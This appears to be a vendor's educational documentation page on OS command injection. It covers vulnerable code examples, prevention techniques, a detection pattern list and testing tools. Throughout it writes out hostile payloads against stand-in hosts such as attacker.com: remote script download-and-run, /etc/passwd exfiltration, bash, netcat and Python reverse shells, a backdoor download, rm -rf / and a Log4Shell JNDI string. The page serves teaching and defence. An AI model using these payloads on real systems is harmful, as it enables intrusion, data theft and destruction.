Documentation

# OS Command Injection

CRITICAL SEVERITY REMOTE CODE EXECUTION OWASP TOP 10

# Overview

OS Command Injection occurs when an attacker tricks an application into executing arbitrary operating system commands on the server, giving them complete control over the system.

OS Command Injection Illustration
OS Command Injection Illustration


# Simple Explanation

# Real-World Analogy

Imagine you have a voice-activated assistant in your home that can run any command you speak. Now imagine a burglar standing outside your window, speaking commands through the window: "Unlock the front door," "Disable the alarm," "Transfer all money from the safe."

# The Attack in Action

Website: "Convert user_photo.jpg to thumbnail"
Server runs: convert user_photo.jpg thumbnail.jpg ✓
User input: user_photo.jpg; rm -rf /
Server runs: convert user_photo.jpg; rm -rf / thumbnail.jpg
Result: Deletes entire file system! ✗

# The Vulnerability

# Vulnerable Application Example

[Vulnerable Code]
# Python/Flask - VULNERABLE CODE
from flask import Flask, request
import os

@app.route('/ping')
def ping():
    # Get IP address from user
    ip = request.args.get('ip')

    # DANGEROUS: Directly using user input in shell command!
    command = f'ping -c 4 {ip}'
    result = os.system(command)

    return f'Ping result: {result}'
[Normal Usage]
User visits: /ping?ip=8.8.8.8
Server executes: ping -c 4 8.8.8.8
Result: Shows ping statistics ✓
[The Attack]
Attacker visits: /ping?ip=8.8.8.8; cat /etc/passwd

Server executes:
1. ping -c 4 8.8.8.8
2. cat /etc/passwd  (shows user account file!)

Response includes system password file ✗

# Command Injection Operators

;   # Command separator: cmd1; cmd2 (run both)
&&  # AND operator: cmd1 && cmd2 (run cmd2 if cmd1 succeeds)
||  # OR operator: cmd1 || cmd2 (run cmd2 if cmd1 fails)
|   # Pipe: cmd1 | cmd2 (send output of cmd1 to cmd2)
`   # Backticks: cmd1 `cmd2` (execute cmd2 and substitute result)
$() # Command substitution: cmd1 $(cmd2)
&   # Background: cmd1 & cmd2 (run cmd1 in background)
\n  # Newline: run commands on separate lines
&   # Command separator: cmd1 & cmd2
&&  # AND operator
||  # OR operator
|   # Pipe
[Semicolon (;)]
8.8.8.8; whoami
# Runs: ping 8.8.8.8, then whoami
[AND (&&)]
8.8.8.8 && cat /etc/passwd
# Runs: ping 8.8.8.8, IF successful, then cat /etc/passwd
[OR (||)]
fake.ip || cat /etc/passwd
# Runs: ping fake.ip, IF fails, then cat /etc/passwd
[Pipe (|)]
8.8.8.8 | nc attacker.com 4444
# Sends ping output to attacker's server
[Command Substitution]
8.8.8.8 $(whoami)
# Executes whoami first, substitutes result into ping command
[Backticks]
8.8.8.8 `cat /etc/passwd`
# Executes cat first, uses output in ping

# Types of Command Injection

# :icon-target: 1. Direct Command Injection

Directly injecting complete commands using operators with visible output

[Vulnerable Code]
# Vulnerable: Image conversion tool
import os

def convert_image(filename):
    # VULNERABLE
    os.system(f'convert {filename} output.png')
[Attack Payload]
filename = 'image.jpg; curl http://attacker.com/shell.sh | bash'
[Execution Result]
Executes:
1. convert image.jpg output.png
2. curl http://attacker.com/shell.sh | bash
   (downloads and runs malicious script!)

# 2. Blind Command Injection

Command executes but output isn't shown directly. Attacker uses confirmation techniques.

[Unix/Linux]
# If command runs, server will delay 10 seconds
8.8.8.8; sleep 10
[Windows]
8.8.8.8 & timeout /t 10
# If command runs, attacker's server receives a request
8.8.8.8; curl http://attacker.com/confirm

# Or DNS lookup
8.8.8.8; nslookup attacker.com
# Create file, then check if it exists
8.8.8.8; touch /tmp/pwned.txt
# Later: Check if /tmp/pwned.txt exists
[Vulnerable Code]
@app.route('/ping')
def ping():
    ip = request.args.get('ip')
    os.system(f'ping -c 4 {ip} > /dev/null 2>&1')  # Output hidden
    return 'Ping executed'
[Time-Based Test]
# Attacker can't see output, but can confirm with delay:
/ping?ip=8.8.8.8; sleep 10
# If response takes 10+ seconds, command injection works!

# 3. Output Redirection

Redirecting command output to files or network

# Write /etc/passwd to web-accessible directory
8.8.8.8; cat /etc/passwd > /var/www/html/passwd.txt

# Now visit: http://website.com/passwd.txt
# Send data to attacker's server
8.8.8.8; curl -X POST -d "$(cat /etc/passwd)" http://attacker.com/collect

# 4. Reverse Shell

Making the server connect back to the attacker, giving them interactive command-line access

[Bash Reverse Shell]
# Server connects to attacker's machine
8.8.8.8; bash -i >& /dev/tcp/attacker.com/4444 0>&1
[Netcat Reverse Shell]
8.8.8.8; nc -e /bin/bash attacker.com 4444
[Python Reverse Shell]
8.8.8.8; python -c 'import socket,subprocess;s=socket.socket();s.connect(("attacker.com",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
Step 1: Attacker sets up listener
  → nc -lvp 4444

Step 2: Victim runs injected reverse shell command
  → Command executed via injection

Step 3: Victim's server connects to attacker's listener
  → Connection established

Step 4: Attacker now has shell access to victim's server!
  → Full remote control achieved

# Real-World Examples

# Case Study 1: Shellshock (CVE-2014-6271)

Arbitrary command execution via Bash environment variables

# Vulnerable Bash versions processed commands in environment variables
User-Agent: () { :; }; /bin/bash -c "curl http://attacker.com/malware.sh | bash"

# When CGI script processed this header:
# Bash executed the injected command!
  • Millions of servers affected
  • Worms spreading automatically
  • Used in botnets and ransomware
  • Web servers using CGI scripts
  • DHCP clients
  • SSH servers with ForceCommand
  • Any system parsing untrusted input into bash environment

# Case Study 2: Equifax Breach (2017)

Command injection via Apache Struts serialization vulnerability

  • 147 million people affected
  • $700+ million in costs
  • CEO, CIO, CSO resigned
// Simplified vulnerable code
String redirectUrl = request.getParameter("redirect");
Runtime.getRuntime().exec("redirect " + redirectUrl);

// Attack:
// redirect=; cat /etc/passwd

# Case Study 3: Cisco RV Routers (CVE-2022-20699)

Command injection in web management interface

  • Thousands of routers compromised
  • Used in botnets
  • Corporate network breaches
# Router diagnostic tool
POST /diagnostic.cgi
ping_addr=8.8.8.8; wget http://attacker.com/backdoor -O /tmp/backdoor; chmod +x /tmp/backdoor; /tmp/backdoor

# Case Study 4: Log4Shell (CVE-2021-44228)

Command injection via JNDI lookups in log messages

  • Hundreds of millions of systems affected
  • Classified as "most critical vulnerability decade"
  • Used in ransomware and crypto mining
[Vulnerable Logging]
// Vulnerable logging
log.info("User login: " + username);
[Attack Payload]
username = "${jndi:ldap://attacker.com/Exploit}"

// Log4j fetched and executed code from attacker's LDAP server!

# Prevention & Mitigation

# 1. Avoid System Commands (Best Practice)

[ Vulnerable]
# VULNERABLE - Using shell commands
import os

def ping_host(ip):
    os.system(f'ping -c 4 {ip}')  # DANGEROUS!
[ Secure]
# SECURE - Using library
import subprocess
import ipaddress

def ping_host(ip):
    # Validate IP first
    try:
        ipaddress.ip_address(ip)
    except ValueError:
        return "Invalid IP"

    # Use library instead of shell
    import ping3
    result = ping3.ping(ip)
    return f"Ping: {result}"
Task Avoid Use Instead
Ping os.system('ping...') ping3 library (Python), net.Dial (Go)
File operations os.system('cp...') shutil.copy() (Python), fs.copy() (Node)
Image conversion os.system('convert...') PIL/Pillow (Python), sharp (Node)
PDF generation os.system('pandoc...') reportlab (Python), pdfkit (Node)
Compression os.system('tar...') tarfile module (Python), archiver (Node)

# 2. Input Validation (Whitelist)

[IP Address Validation]
# Python - SECURE
import subprocess
import re

def ping_host(ip):
    # Whitelist: Only allow valid IP format
    if not re.match(r'^(\d{1,3}\.){3}\d{1,3}$', ip):
        raise ValueError("Invalid IP address")

    # Additional validation: Check each octet
    octets = ip.split('.')
    if not all(0 <= int(octet) <= 255 for octet in octets):
        raise ValueError("Invalid IP address")

    # Safe to use
    result = subprocess.run(
        ['ping', '-c', '4', ip],
        capture_output=True,
        text=True,
        timeout=10
    )
    return result.stdout
[Hostname Validation]
// Node.js - SECURE
const { execFile } = require('child_process');
const { promisify } = require('util');
const execFilePromise = promisify(execFile);

async function pingHost(hostname) {
    // Whitelist: Only alphanumeric, dots, hyphens
    if (!/^[a-zA-Z0-9.-]+$/.test(hostname)) {
        throw new Error('Invalid hostname');
    }

    // Additional checks
    if (hostname.length > 253) {
        throw new Error('Hostname too long');
    }

    try {
        const { stdout } = await execFilePromise('ping', ['-c', '4', hostname]);
        return stdout;
    } catch (error) {
        return `Ping failed: ${error.message}`;
    }
}

# 3. Use Parameterized Commands

[ Vulnerable]
# DANGEROUS - Shell interprets special characters
import os
os.system(f'ping -c 4 {user_input}')  # Shell=True (implicit)
[ Secure]
# SAFE - No shell interpretation
import subprocess

subprocess.run(
    ['ping', '-c', '4', user_input],  # Array of arguments
    shell=False,  # IMPORTANT: Don't use shell
    capture_output=True,
    timeout=10
)
[With shell=True (VULNERABLE)]
user_input = "8.8.8.8; cat /etc/passwd"
subprocess.run(f'ping -c 4 {user_input}', shell=True)
# Executes: ping -c 4 8.8.8.8; cat /etc/passwd (BAD!)
[With shell=False (SECURE)]
user_input = "8.8.8.8; cat /etc/passwd"
subprocess.run(['ping', '-c', '4', user_input], shell=False)
# Executes: ping -c 4 "8.8.8.8; cat /etc/passwd"
# Tries to ping literal string (fails, but safe!)
[ Vulnerable]
const { exec } = require('child_process');
exec(`ping -c 4 ${userInput}`);  // Shell interprets
[ Secure]
const { execFile } = require('child_process');
execFile('ping', ['-c', '4', userInput]);  // No shell, safe!

# 4. Escape Shell Metacharacters

If shell is absolutely required, escape dangerous characters (last resort)

[Using shlex.quote()]
# Python - Escaping (last resort)
import shlex

def safe_shell_command(user_input):
    # shlex.quote() escapes all special characters
    safe_input = shlex.quote(user_input)

    command = f'ping -c 4 {safe_input}'
    result = subprocess.run(command, shell=True, capture_output=True)
    return result.stdout
[How It Works]
user_input = "8.8.8.8; cat /etc/passwd"
safe_input = shlex.quote(user_input)
# Result: '8.8.8.8; cat /etc/passwd'
# (Wrapped in single quotes, special chars neutralized)

# Command becomes:
# ping -c 4 '8.8.8.8; cat /etc/passwd'
# Treats entire string as single argument, ; has no special meaning
<?php
// PHP - Escaping
$user_input = $_GET['ip'];
$safe_input = escapeshellarg($user_input);

// escapeshellarg() wraps in single quotes and escapes
$command = "ping -c 4 $safe_input";
$output = shell_exec($command);
?>

# 5. Sandboxing and Least Privilege

[Run as Restricted User]
# Python - Running as restricted user
import subprocess
import pwd
import os

def ping_as_nobody(ip):
    # Validate first
    if not is_valid_ip(ip):
        raise ValueError("Invalid IP")

    # Get nobody user
    nobody = pwd.getpwnam('nobody')

    # Run with minimal privileges
    result = subprocess.run(
        ['ping', '-c', '4', ip],
        user=nobody.pw_uid,
        group=nobody.pw_gid,
        capture_output=True,
        timeout=10
    )
    return result.stdout
[Docker Isolation]
# Run command in isolated container
import docker

def run_in_container(command):
    client = docker.from_env()

    # Run in ephemeral container
    container = client.containers.run(
        'alpine:latest',
        command=['sh', '-c', command],
        remove=True,  # Auto-remove after execution
        network_disabled=True,  # No network access
        mem_limit='128m',  # Memory limit
        cpu_quota=50000,  # CPU limit
        read_only=True,  # Read-only filesystem
        detach=False
    )
    return container

# 6. Monitoring and Detection

[Command Monitoring]
# Python - Command monitoring
import subprocess
import logging
import re

DANGEROUS_PATTERNS = [
    r';',
    r'&&',
    r'\|\|',
    r'\$\(',
    r'`',
    r'\/bin\/',
    r'bash',
    r'sh -c',
    r'curl',
    r'wget',
    r'nc',
    r'netcat'
]

def execute_with_monitoring(command, args):
    # Check for suspicious patterns
    full_command = ' '.join([command] + args)

    for pattern in DANGEROUS_PATTERNS:
        if re.search(pattern, full_command, re.IGNORECASE):
            logging.error(f"SECURITY: Suspicious command detected: {full_command}")
            # Alert security team
            send_security_alert(f"Command injection attempt: {full_command}")
            raise ValueError("Suspicious command detected")

    # Execute if safe
    result = subprocess.run(
        [command] + args,
        shell=False,
        capture_output=True,
        timeout=10
    )
    return result

# Testing for Command Injection

# Detection Indicators

# Test if command runs
?ip=8.8.8.8; sleep 10

# If response takes 10+ seconds = vulnerable!
Error: sh: syntax error near unexpected token `;'
Error: 'cat' is not recognized as an internal command
# Normal:
?ip=8.8.8.8
Response: 200 bytes

# With command:
?ip=8.8.8.8; cat /etc/passwd
Response: 2,500 bytes (includes file content!)

# Manual Testing

# Test each separator
curl "http://target.com/ping?ip=8.8.8.8;whoami"
curl "http://target.com/ping?ip=8.8.8.8%26%26whoami"
curl "http://target.com/ping?ip=8.8.8.8||whoami"
curl "http://target.com/ping?ip=8.8.8.8|whoami"
curl "http://target.com/ping?ip=8.8.8.8\`whoami\`"
[Unix/Linux]
curl "http://target.com/ping?ip=8.8.8.8;sleep 10"

# Measure response time
time curl "http://target.com/ping?ip=8.8.8.8;sleep 10"
# If takes ~10 seconds = vulnerable!
[Windows]
curl "http://target.com/ping?ip=8.8.8.8%26timeout /t 10"
# DNS lookup (use Burp Collaborator or similar)
curl "http://target.com/ping?ip=8.8.8.8;nslookup RANDOM.burpcollaborator.net"

# HTTP request
curl "http://target.com/ping?ip=8.8.8.8;curl http://RANDOM.burpcollaborator.net"

# Automated Testing Tools

# Automated command injection testing
commix --url="http://target.com/ping?ip=8.8.8.8" --level=3

# Test specific parameter
commix --url="http://target.com/ping" --data="ip=8.8.8.8" -p ip
1. Get unique Collaborator URL: abc123.burpcollaborator.net
2. Test: ?ip=8.8.8.8;nslookup abc123.burpcollaborator.net
3. Check Collaborator for incoming DNS/HTTP requests
4. If request received = vulnerable!
sqlmap -u "http://target.com/ping?ip=8.8.8.8" --os-shell
# Use command injection modules
msfconsole
use auxiliary/scanner/http/command_injection
set RHOSTS target.com
set TARGETURI /ping
run

# Test Payloads

[Unix/Linux]
# Basic tests
; whoami
; id
; pwd
; cat /etc/passwd
; ls -la

# Time-based
; sleep 10
; ping -c 10 127.0.0.1

# Out-of-band
; curl http://attacker.com
; wget http://attacker.com
; nslookup attacker.com

# Reverse shell
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
; nc -e /bin/bash attacker.com 4444
[Windows]
& whoami
& dir
& type C:\Windows\win.ini
& timeout /t 10
& ping -n 10 127.0.0.1
& nslookup attacker.com

# Security Checklist

# Development

  • Use language libraries instead of system commands
  • Never use shell=True or equivalent
  • Use argument arrays with shell=False
  • Validate all user input with whitelists
  • Escape shell metacharacters if shell required
  • Never concatenate user input into command strings
  • Use parameterized command execution

# Infrastructure

  • Run commands with least privilege (restricted user)
  • Implement sandboxing/containerization
  • Disable unnecessary system commands
  • Use SELinux, AppArmor, or similar
  • Implement network segmentation
  • Monitor command execution patterns

# Testing

  • Test for command injection with separators
  • Perform time-based blind injection tests
  • Use out-of-band confirmation techniques
  • Automated scanning with Commix/Burp Suite
  • Penetration testing for command injection
  • Code review for command execution

# Monitoring

  • Log all command executions with parameters
  • Alert on suspicious command patterns
  • Monitor for abnormal process spawning
  • Implement real-time threat detection
  • Track failed command injection attempts
  • Review logs regularly for anomalies

# Key Takeaways


# References & Resources

# Official Documentation

# Testing Tools

# Learning Resources


# Layerd AI Protection

Layerd AI Guardian Proxy blocks command injection:

  • Pattern detection - Identifies command separators and dangerous patterns
  • Behavioral analysis - ML detects abnormal command execution
  • Real-time blocking - Prevents malicious commands from executing
  • Zero-day protection - Catches novel injection techniques

Learn more about Layerd AI Protection →


Remember: OS Command Injection is a critical vulnerability that leads to complete system compromise. Always use language libraries instead of system commands, and never trust user input in command execution contexts.

Avoid system commands entirely whenever possible!


Last updated: November 2025